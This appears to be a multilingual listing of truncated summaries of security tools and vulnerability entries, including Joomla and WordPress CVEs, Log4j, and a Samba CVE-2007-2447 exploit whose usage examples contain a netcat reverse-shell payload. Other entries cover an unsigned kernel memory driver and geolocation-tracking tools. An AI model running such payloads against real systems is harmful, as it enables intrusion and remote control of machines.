typofinder

域名拼写错误发现器 用于域名拼写错误发现的Typofinder 由NCC Group Plc以开源形式发布 - http://www.nccgroup.com/ 开发人员: Ollie Whitehouse, ollie dot whitehouse at nccgroup dot com Stephen Tomkinson, Twitter上的@neonbunny9 Matt Summers, matt dot summers at nccgroup dot com https://github.com/nccgroup/typofinder 基于AGPL发布，更多信息请参阅LICEN...

call_map

Call Map .. default-role:: code 关于 Call Map 是一款用于在 Python 中导航调用图的工具，并计划支持其他语言。下面是运行 callmap -m toolz 后点击一些函数时的屏幕截图。 .. figure:: docs/UI-clicked-on-function.png 虽然 Call Map 旨在帮助大致了解代码库，但它也非常适合追踪代码路径，这构成了一个重要的安全关注点。许多安全问题都是通过找到一条将用户输入连接到危险编码模式的代码路径而暴露出来的。 更多信息请参阅 博客文章。...

raven

Raven - Advanced Cyber Threat Map Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, 100,000 cities, and can be used in an isolated environment without external lookups!. Structure Offline - Demo Firefox, Chrome or Safari Live - Regression 500 attacks at onc...

Joomla! Component iNetLanka Multiple Map 1.0 - Local File Inclusion

A directory traversal vulnerability in the iNetLanka Multiple Map commultimap component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. dot dot in the controller parameter to index.php. id: CVE-2010-1953 info: name: Joomla! Component iNetLanka Multiple Map 1.0 - Local Fil...

WordPress Google Map Professional - Cross-Site Scripting

WordPress Google Map Professional Map In Your Language plugin through 1.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such ...

WordPress 10Web Map Builder < 1.0.73 - Unauthenticated SQL Injection

The 10Web Map Builder for Google Maps WordPress plugin before 1.0.73 does not properly sanitise and escape some parameters before using them in an SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection id: CVE-2023-0037 info: name: WordPress 10Web Map...

WordPress MapPress Maps <= 2.96.6 - Unauthenticated IDOR

MapPress Maps for WordPress = 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests id: CVE-2026-8839 info: name:...

WordPress AB Google Map Travel <=3.4 - Stored Cross-Site Scripting

WordPress AB Google Map Travel plugin through 3.4 contains multiple stored cross-site scripting vulnerabilities. The plugin allows an attacker to hijack the administrator authentication for requests via the 1 lat Latitude, 2 long Longitude, 3 mapwidth, 4 mapheight, or 5 zoom Map Zoom parameters i...

Log4j_CVE-2021-45046

Log4j 2.15.0 权限提升 -- CVE-2021-45046 攻击 描述 已经发现，Apache Log4j 2.15.0 中对 CVE-2021-44228 的修复在某些非默认配置下是不完整的。当日志记录配置使用了非默认模式布局，且包含上下文查找（例如 $$ctx:loginId）或线程上下文映射模式（%X、%mdc、%MDC）时，攻击者可通过控制线程上下文映射（MDC）输入数据，使用 JNDI 查找模式构造恶意输入数据，导致拒绝服务（DOS）攻击。Log4j 2.15.0 默认将 JNDI LDAP 查找限制为本地主机。请注意，之前的缓解措施（例如设置系统属性...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 实现 描述 针对 Samba 3.0.20 IP - 远程机器的 IP 地址。 PORT - （可选）SMB 运行的端口。 PAYLOAD - 要在远程机器上执行的有效载荷，例如反弹 shell。 示例： python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 参考资料 CVE-2007-2447：远程命令注入漏洞 Samba...

PT-2026-104648

Mammoth.js 1.3.0 before 1.12.3 contains a regular expression denial of service vulnerability in the style map tokeniser in lib/styles/parser/tokeniser.js due to overlapping regex alternatives. Attackers can supply a crafted .docx with an unterminated quoted string of repeated backslash escapes in...

telegram-nearby-map

Telegram Nearby Map Telegram Nearby Map 使用 OpenStreetMap 和官方 Telegram 库来查找附近用户的位置。 请注意： Telegram 的 API 已更新，使得附近用户的距离精度降低，无法精确计算位置。因此，Telegram Nearby Map 会显示附近用户，但不会展示其确切位置。 灵感来源于 Ahmed 的博文 和 Hacker News 的讨论。 由 github.com/tejado 开发。 工作原理？ 每 25 秒，通过 TDLib 从 Telegram...

creepy-plugins

creepy-plugins Description Plugins for cree.py The architecture of cree.py allows for multiple user-defined sources for geolocation information. These sources are defined as plugins and can be installed in creepy by copying them into the plugins folder under the installation directory. New plugin...

CVE-2026-41729

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC 此存储库是Spring官方安全公告公开的 CVE-2026-41729 的最小复现PoC。 官方公告：https://spring.io/security/cve-2026-41729/ 官方标题：Spring Data REST SpEL Injection via Map Key in JSON Patch 严重级别：High CVSS v3.1：AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 公开日期：2026-06-...

POC-GeoLeak-CVE-2026-52715

GeoLeak — PoC de CVE-2026-52715 Proof of Concept educativa de GeoLeak CVE-2026-52715, inyeccion SQL no autenticada CVSS 9.3 en el plugin GEO my WordPress = 4.5.5 para WordPress. Los parametros swlatlng y nelatlng de los limites del mapa se interpolan sin saneado en la clausula WHERE. Laboratorio...

bbrecon

This project is no longer maintained and I took the crawling infrastructure offline. The audience was not big enough to justify maintaining it. Bug Bounty Recon bbrecon is a free Recon-as-a-Service for bug bounty hunters and security researchers. The API aims to provide a continuously up-to-date...

CVE-2007-2447

CVE-2007-2447 - username map script "MS-RPC 功能在 Samba 3.0.0 到 3.0.25rc3 版本的 smbd 中，允许远程攻击者通过 shell 元字符执行任意命令，涉及 1 SamrChangePassword 函数，当 smb.conf 选项 "username map script" 启用时；并允许远程认证用户通过其他 MS-RPC 函数中的 shell 元字符执行命令，涉及 2 远程打印机和 3 文件共享管理。" Exploit 安装： 此漏洞利用需要 Python 3.7 或更高版本 python3 -m pip instal...

PsyloDbg

PsyloDbg PsyloDbg 是一个快速成长且用户友好的开源 Windows 调试器，完全使用 Delphi 编写。 该项目的主要目标是为恶意软件分析人员提供另一种工具，以缩短他们在分析过程中的响应时间。 该项目仍处于非常早期的阶段，预计功能将逐步增加。 图片 调试事件 内存映射 加载的模块 被调试的进程树 转储并重建 PE 镜像（测试版） 调试器功能 = 已实现 = 尚未实现 加载的模块 列表。 转储重建的模块镜像。 导出函数列表。 ANSI / WIDE 字符串 列出文件/内存中的字符串。 高级搜索功能。 内存映射 列表。 识别 PE 镜像和节区。 识别线程堆栈。 识别堆。...

CVE-2026-72898

关于 Toucan2 行为及无 :closed true 的 map 的注意事项...

Driver-kaldereta

Kaldereta Controlador de modo kernel sin firmar que realiza modificaciones de memoria Características obtener el id del proceso obtener la dirección base de una imagen cambiar la protección de una región de memoria asignar región de memoria liberar memoria leer/escribir desde una dirección...